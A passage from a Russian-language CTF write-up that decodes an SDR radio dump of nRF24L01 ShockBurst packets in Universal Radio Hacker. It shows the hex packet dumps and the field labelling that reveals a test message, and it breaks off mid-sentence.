21M Nov  2 13:14 2401_rawdump
22M Nov  2 13:14 2401_rawdump
24M Nov  2 13:14 2401_rawdump
27M Nov  2 13:14 2401_rawdump
30M Nov  2 13:14 2401_rawdump

После 30 МБ размер файла уже не увеличивается, что говорит об окончании передачи.


Работа с дампом


По описанию таска, а так же по начальным подсказкам становится понятно, что полученный дамп как-то связан с SDR. Логично предположить, что это дамп радиоэфира.


Проведя поиск формата записи радиоэфира с которыми работает SDR можно обнаружить, что дамп является IQ потоком.


Однко, в текущем виде использовать файл-дамп не получится. Используя hex редактор вырезаем начало


ixoyp6srtctjl7jenyyy5d0kcom.png


и конец
t_1ncyje_ys4rhaquwqjeuqxhoy.png


Теперь можно загрузить файл в URH


pdqzlaipav9mcln8wxvktfxt3z8.png


Видно, что передача идет частями. Приблизив одну из таких частей необходимо настроить чувствительность к шуму — параметр Noize.


Увеличив Noze до 0.5500 видно, что большинство помех будут при демодуляции проигнорированны:


r9anynuwk0cstdfkq7ui7cls94e.png


Следующим шагом является определнеие времени передачи одного бита. Для этого находим область с периодичным сигналом, затем выделяем сегмент длиной в один период и смотрим на значение определяемое URH. Видим что это 8 мкс. Делаем Bit Length равным 8.


bf8shekw4wuosgvustwdbzjrslq.png


Теперь переключаем вид сигнала на демодулированный (Signal View -> Demodulated).
Подстраивем значение Center таким образом, чтобы горизонтальная прямая, разделяющая области графика, наиболее точно соответствовала нулевому уровню отсчета.


nfqfrayclo82mbh9jpmi0b_rxxy.png


Переключаем Show Signal as на Hex и получаем примерно следующий набор байт:


3c6aaccaaccaaccce2a3434b99034b9903434b73a1031b430b73732b610938000000000000000002c93bc2 [Pause: 1571 samples]
3c055665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1183 samples]
f82ab32ab32ab333ca8d0d2e640d2e640e8cae6e840dacae6e6c2ceca5c5c4e0000000000000000a8efc28 [Pause: 1166 samples]
3c655665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1564 samples]
3c555995599559998546869732069732074657374206d6573736167652e2e000000000000000000544ebd4 [Pause: 1167 samples]
3e0aaccaaccaacccc2a3434b99034b9903a32b9ba1036b2b9b9b0b3b297170000000000000000002a275ea [Pause: 1167 samples]
3c655665566556666151a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b8000000000000000001513af5 [Pause: 203907 samples]
3c355665566556666949a59da1d081dd85e4848151c9e481a0d1c990cdc88484840000000000000150453d [Pause: 1167 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1166 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1565 samples]
3c35566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492655 [Pause: 1167 samples]
3c45566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492654 [Pause: 1166 samples]
3c0aaccaaccaaccce21b432b1b59030b737ba3432b91031b430b73732b6399080000000000000002924caa [Pause: 1585 samples]
3c35566556655666790d85b881dd9481d185b1ac818589bdd5d081cd958dd5c9a5d1e4fc000000010fa411 [Pause: 1166 samples]
3e0aaccaaccaacccf21b0b7103bb2903a30b6359030b137baba1039b2b1bab934ba3c9f8000000021f4822 [Pause: 1183 samples]

В текущем виде явно прослеживается повторяющаяся начальная последовательность, также можно заметить, что длина пакетов и их состовляющие выглядят одинаковыми.


Для того, чтобы дальше разобрать полученный набор сообщений, необходимо знать их структуру. Одной из подсказок была следующая строка:


these devices are used iN wiReless keyboards and sometimes in Flying drones

Большие буквы тривиально складываются в NRF. Этот факт, а так же набор каналов о которых говорится в самом начале задания, соответствуют одному конкретному радиомодулю — nrf24l01. Следовательно, каждое из сообщений есть пакет, переданный этим радиомодулем.


Далее находим спецификацию протокола этого радиомодуля и видим, что внутри используется протокол ShockBurst. Пакет данных этого протокола выглядит так:


l-lbak9h6cq8kyebs3reedjkzrk.png


В спецификации описаны возможные варианты преамбулы сообщения: она может быть равна либо aa (10101010) либо 55 (01010101). Следовательно, необходимо отбросить все данные в сообщении до преамбулы. Это можно сделать, используя скрипт, а можно функционалом все того же URH, создав некоторый «фильтр».


Для создания фильтра открываем Edit -> Decoding. Перетаскиваем из списка Additional Functions строку Cut before/after, а в качестве Sequence пишем прембулу 10101010. Сохраняем его как cut_aa.


bitbkzqlzcqr06ozjbow-a2v00i.png


Для преамбулы 01010101 создаем такой же фильтр, где подставляем соответствующую Sequence.


Перключаемся на вкладку Analysis. Выбираем фильтр cut_aa и применяем.


4vh8wnxoahuvuqq8isxbaz-yfqs.png


URH позволяет на лету создавать структуру протокола из потока сообщений. Для этого надо выделить нужное количество столбцов (полу-байт) и нажать Add label. Используя известную структуру, выделяем преамбулу и адрес (длину адреса можно перебрать, а так же она известна из подсказки).


3omz74byhh-2f7wgw8hwwzx4lo4.png


Далее необходимо выделить поле Packet Control Field. Интересной особенностью ShockBurst является тот факт, что поле это занимает 9 бит. Переключаем вид на биты и выделяем 9 столбцов.


zijdyllmqin2hpmen_cvlz3bsqy.png


Крутой особенностью URH является то, что при обратном переключении вида в байты, они будут отсчитываться с нужным смещением. То есть следующий байт за Packet Control Field будет считаться из 10 го и 11 го битов (в нашем случае это столбцы 58 и 59), а не из 9 го и 10 го!


Далее выделяем payload и CRC.


hbmwerb5-ybcvnblrxc-drc1ss8.png


Поменяем режим просмотра с байт на ascii, чтобы поискать какие-то осмысленные строки в payload.


hp5mootnjvqw94sy60j2kns9pvg.png


На картинке выше явно читается строка This is test message. Это говорит о том, что теперь у&nbs

© Habrahabr.ru